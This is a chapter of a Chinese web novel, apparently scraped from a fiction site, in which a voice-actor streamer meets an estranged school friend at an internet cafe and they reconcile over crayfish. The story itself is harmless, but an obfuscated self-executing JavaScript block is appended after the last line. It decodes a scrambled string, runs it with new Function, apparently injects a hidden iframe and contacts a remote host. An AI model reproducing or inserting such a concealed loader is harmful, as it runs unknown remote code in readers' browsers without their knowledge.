(手机请访问 m.duxs8.com); “老板,给我开个包厢。”
“哟,你又来啦,还是207,楼上包厢特意给你留着呢。”
“谢啦。”程素和老板打了个招呼就走向了通往二楼的楼梯。
这间网咖离学校很近,装修得一派小清新风格,室内打扫得也很干净,管理又严格,是这一带有名的“高素质”网咖。程素最喜欢的就是它的包厢隔音尤其好,哪怕里面吼着青藏高原,站在门外大概也只能听到蚊子叫般大小的声音。
本来也不是非得上网咖,在寝室直播又方便又舒服。但架不住室友时不时就会来几句“吃兵线去啊!”“卧槽他抢我红爸爸!”“稳住稳住,我们能赢!”,程素只好每次在开直播前拿着麦克风和声卡,来到这家网咖直播。久而久之就和这儿的老板熟了起来,每次来之前都会打个电话让老板帮忙提前留包厢,所以他对这儿也算是熟门熟路。
不过话说起来,程素还得感谢这个游戏。要不是当年和室友们,还有齐江的女朋友秦夕一起开黑,没有秦夕那声差点在程素心里留下阴影的尖叫以及对他声音的夸赞——说像小田和正给他树立了强大的自信,大概他也想不到原来自己还可以吃这口饭,自己能混到成为cv在某种程度上可以说多亏了它。
程素走路往往昂首挺胸目不斜视,今天在走过205时也不知吃错了什么药瞥了一眼木门上的玻璃,却惊讶地发现了一个些许眼熟的背影。
时值夏日,但因为网咖里冷气很足,他穿着一件长袖白衬衫,两边的袖口一丝不苟地卷起,虽然用着头戴式耳机,但还要装酷戴顶白色棒球帽,背挺得笔直,整个人看上去像一株挺拔的小白杨。程素听不到他有没有说话,但电脑屏幕上显示的很明显就是最近程素也常用的摩卡直播页面。
如果一开始还只是怀疑他是否是自己心中所想的那个人,但此时,这个白衣男人懒洋洋地伸了个懒腰,然后用左手摸了下左耳垂。一下子,程素在心里确定就是他。
“这不是归景么?他不是在北城吗?”程素的心跳突然变得急促起来。
归景是他的高中同学,当初两人隔壁班,相识于一场校园草地音乐会。那时每个班都被要求推选出一名唱歌好的学生,再由老师分配人选组合出一个唱歌节目,程素和归景就被分到了一块儿。
同对音乐的热爱让他们相见恨晚,相谈甚欢,下课了两人也会时不时串门到隔壁聊天,慢慢变得交情好得能穿一条裤子。可世事无常,他们俩后来闹翻了。这个结果大家都看在眼里,但起因经过却只有他们才知道。
时过境迁。要说现在还生气,倒也没那么夸张。他也不是没想过主动找归景低个头认个错,但少年心气总是高,再加上程素又固执,总觉得自己没什么错,道歉既有点拉不下脸,也觉得不太服气。就这么混着混着好多年过去了,没想到在这里遇见了他,心内忽然一阵悸动。
他下意识地更靠近门,握住门把手想往下压,可那霎那,过往如一幕幕电影浮现在眼前。他犹豫了。
怕的不是昔日好友再不联系,而是已经下定决心不再联系,他却又出现在你面前。
想起自己还有直播的任务,程素没再站在205门口,而是径直朝207走去。
在这短短的几步路里,程素身体里两个站在对立面的小人不断地跳来跳去,一个说“凭什么要我先去找他?”,另一个就反驳“也没什么大不了的事,到底是面子重要还是朋友情谊重要?”最后他在心里告诉自己要是今天能在十点前下播,就去找归景,把当初那件事原原本本地告诉他,向他道歉。因为他,真的对他很想念。
其实程素心里早有答案,只是之前的自己总是逃避不愿面对。就像每个抛硬币的人,心里往往都已有了想要的那一面,但还是希望借由上天的安排来为确定自己真的做了一个正确的选择。
他从钱包里摸出身份证刷卡上机,声卡麦克风各就各位。
那天的直播他特别宠粉。甚至粉丝让他模仿青蛙叫、猪叫还有不知道发挥了多少想象力才想得到的学驴叫这种要求都一一满足,尽管他也不知道驴要怎么叫。要放平常,那沉甸甸的偶像包袱他可卸不下来。程素有些不合常理地话唠,还唱了好多歌,古风现代一应俱全。
整个直播过程仿佛像是火箭发射,程素这个火箭始终被屁股上那团火推着。
他把粉丝们哄得服服帖帖,粉丝们满足不已,刷了一片“啊啊啊啊啊啊啊”,当然还有各种价值不菲的虚拟礼物。
所以当程素说今晚要早点休息的时候,大家都纷纷表示会“乖巧去睡觉”,拉着程素唱了首晚安曲就放他下播了。
结束的时候恰好是十点,比平常早了半小时。
程素收拾了自己的麦克风和声卡,装进包里,完成任务出门,正巧撞到了也在这时候开门出来的归景。
程素滞了滞身体,眼神躲躲闪闪,局促地不知道看哪里,有一种日记里的秘密被大人看了的感觉。他低下头,走也不是傻站着也不是。
归景显然也没想到会发生这一幕,他只是一想到明天要去找程素就紧张,在工作室里待不下去才一个人跑到了网吧,没想到反而在这儿撞见了他。他关门的手停在门把上,过了好一会儿才恢复镇定。
他这些年一直都还关注着程素,但从未和他再见过面。当此刻程素活生生地站在他面前,他感到巨大的安心感扑面而来。他深呼吸,放下握住门把的那只手,直直地朝程素走去。
听到脚步声越来越近,程素终于抬起头。眼前是归景轮廓分明的脸和温柔的微笑。
“你也在这儿呢?”眼前的这个男人有着比高中时更低沉的声音。
“啊,归景,你怎么也在……”程素连忙收起不自在的表情,装出惊讶的样子。
“没怎么变啊。直播吗?”
“你知道?”
“我在听呢,素衣莫叹对吧?”
这下程素是真的惊讶了。
程素想起在直播中间有一段,突然涌进来好多人,弹幕也刷了一片“舟流来了”“我家舟舟来了”,还有不少小姑娘们表达自己激动之情的“啊啊啊啊啊啊啊”。
他认得这个id,是一个男女通吃的知名唱见,以磁性低音炮闻名。但自己跟他没什么业务上的接触,私底下也没特意去了解过,因此他对舟流的了解也就仅限于每个人在搜索引擎上都查得到的那些东西而已。
“我电脑手机双开呢。电脑自己直播,手机听你的直播。你今天还唱了小跳蛙,真可爱,好听。”看程素发起怔来,归景扯了下嘴角解释着,边夸边抓了下自己的头发。
“可是…你怎么会到我的直播间来?”
“你看看你,虽然今天是我第一次听你直播,可我的粉丝都知道我喜欢你,就你不知道。”
喜欢?我喜欢你?
这算什么?突如其来的告白?
程素眼前仿佛炸开了一个鞭炮,发出惊天动地的巨响。一时间,他都不知道要用什么表情面对归景。他像现在无数白领面对电脑时一样,脑袋向前伸,眼睛睁得大大的,宛如一只探出头的乌龟,直愣愣地瞪着归景。
卧槽我可是直男,这家伙在说什么啊。
“想什么呢,我是说我喜欢你的声音。”归景呵呵一笑。
程素这才回过神来,略敷衍地回了一句“哦”,掩饰自己刚才乱七八糟又自作多情的心理活动。
“你签的工作室,我的。”归景眯了眯眼,漫不经心地说。
什么?程素吓了一跳。
归景,京山……归景……京山……归的半边,景的半边……
这两者的名字如果连起来看,好像确实没什么毛病。
今晚到底怎么了?程素狠狠掐了下自己的手。好痛,这不是做梦。
“那你…你怎么会回来?你不是该在北城吗?”程素问。
“我来看看小轶给我签了个什么帅哥呀,”归景勾勾嘴角,走到程素这边,一手揽住了程素的肩,“傻子,北城只是我念大学的地方,水城可是我的家。小龙虾吃不吃?走,我们去吃小龙虾。”
程素就这样迷迷糊糊地被归景揽走了,原先想好的台词一句都没用上。
两人来到了网咖附近一家大排档,点了五斤麻辣小龙虾和一大盘烧烤,外加两扎啤酒。
程素这才想起来,“那你就是舟流?你什么时候成了唱见?还开了自己的工作室。”
“嘿,这你可说错了,我是先开了工作室,才想着把自己签了。你也知道,我对二次元一向很喜欢,唱歌也是我的梦想。”
“那……你是不是早就知道素衣莫叹就是我?”程素想装着不在乎的样子,趁着刚剥好的小龙虾还塞在嘴里,含糊地问了句。
“那还用说,你的身份证复印件上写得明明白白。”归景倒是没客气,大大方方就承认了。
“不告诉你是因为怕你为难,怕你拒绝。你明明有那么好的条件,不能因为我们之前……咳,总之就是不能被埋没了。”
归景说得有道理。
要换高中闹矛盾那会儿,可能程素会一下子跳起来说要解约,哪怕付出违约金也甘愿。可今时不同往日,光是想想毕业以后要在水城立足,要买车、买房子这种事,就够让他心烦的了。哪怕只是为了赚钱,也不能拒绝,只是心里多多少少还带着过去那根刺。
程素沉默着,没说什么,只是不停地吃小龙虾,硬生生把自己搞成了一个小龙虾战士,还附带机器人的机械属性。
吃一个,说。再吃一个,不说。再再吃一个,说……
“归景,当初……”程素支支吾吾的有些说不出口,但声音却坚定着,丝毫没有发抖的痕迹。
“别说了,都过去了。”归景轻描淡写地打断了程素的话,并将一只刚剥好的小龙虾塞进程素嘴里。
路灯的光稀稀拉拉地照在他脸上,程素有点看不清他的神情。
小龙虾个头不大,但程素却因为受宠若惊被堵得说不出话来。他拿起酒杯猛灌了几口,冰凉的啤酒触碰到程素的喉咙,流进胃,本不多的刺激却在此刻被放大,清醒的感觉由里向外,化作汗珠蒸腾出来。
无论是否道歉,自己的目的就是和归景和好。既然他都说过去了,自己何必还一直拽着不放?殊途同归就是这个理。过去的事两个人都有错,既然如此,那就扯平,当一切从没发生过。
程素重重地点了点头。
“对了,你现在还在用自己的设备录音吧。我最近刚好有首动漫主题曲要录,明天是周六,要不要一起要合唱?顺便去棚里玩。”归景没有看程素,语气里有刻意压下去的紧张,还有一丝欢喜。
程素看了眼表,眼角闪过犹豫的神色。
“……行。不过现在我得回去了,寝室楼就快门禁了。”
“我送你。”归景叫来了服务员,让她打包了还剩下很多的小龙虾,递给程素,“拿着,可以带给室友吃。”
“……谢谢你。”
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();